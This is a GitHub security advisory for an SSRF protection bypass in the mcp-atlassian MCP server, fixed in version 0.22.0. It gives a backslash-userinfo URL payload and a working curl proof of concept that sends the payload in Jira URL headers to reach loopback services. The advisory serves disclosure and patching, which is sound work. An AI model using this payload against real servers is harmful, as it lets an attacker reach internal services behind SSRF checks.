GitHub Advisoryadvisory · PyPI

GHSA-hgcf-4mq8-5266 MCP Atlassian: SSRF Protection Bypass

HIGH Published 2026-09-22 Modified 2026-09-22 Official page ↗
Aliases
CVE-2026-77274
Ecosystem
PyPI
Packages
mcp-atlassian
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-918
Reviewed
2026-09-22

Affected packages

• PyPI mcp-atlassian: < 0.22.0 → fixed in 0.22.0

Description

Environment • Project: `sooperset/mcp-atlassian` • Affected function: `validate_url_for_ssrf()` • Affected path: header-based Jira/Confluence URL authentication flow • Tested endpoint: `POST /mcp` • Tested version: `2.14.5` Description The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax. Affected code: ```python parsed = urlparse(url) hostname = parsed.hostname ... ip_error = _check_ip_address(hostname) ... dns_error = _check_dns_resolution(hostname) ``` Payload: ```text http://127.0.0.1:6666\@www.baidu.com ``` For this input, `urllib.parse.urlparse()` treats the hostname as: ```text www.baidu.com ``` Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service: ```text http://127.0.0.1:6666/%[email protected]/rest/api/2/myself ``` This allows an attacker-controlled Jira URL to target loopback or internal services. Proof of Concept Start a local HTTP server: ```bash python3 -m http.server 6666 --bind 127.0.0.1 ``` Start `mcp-atlassian` with streamable HTTP transport on port `9000`. Initialize an MCP session with the malicious Jira URL: ```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}' ``` Send the initialized notification using the returned `Mcp-Session-Id`: ```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: ' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","method":"notifications/initialized"}' ``` Trigger Jira fetcher creation and token validation: ```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: ' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}' ``` Observed response: The local HTTP server also receives the request, confirming SSRF. Root Cause The security validation and the actual HTTP request do not use the same URL interpretation. • `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`. • For the payload, `parsed.hostname` is `www.baidu.com`. • The actual request is sent by the Atlassian client through `requests.Session`. • `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path. This parser mismatch allows a restricted host to be hidden before `\@`. Impact An attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.

Related

Alias · CVE (1)

  • CVE-2026-77274 MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References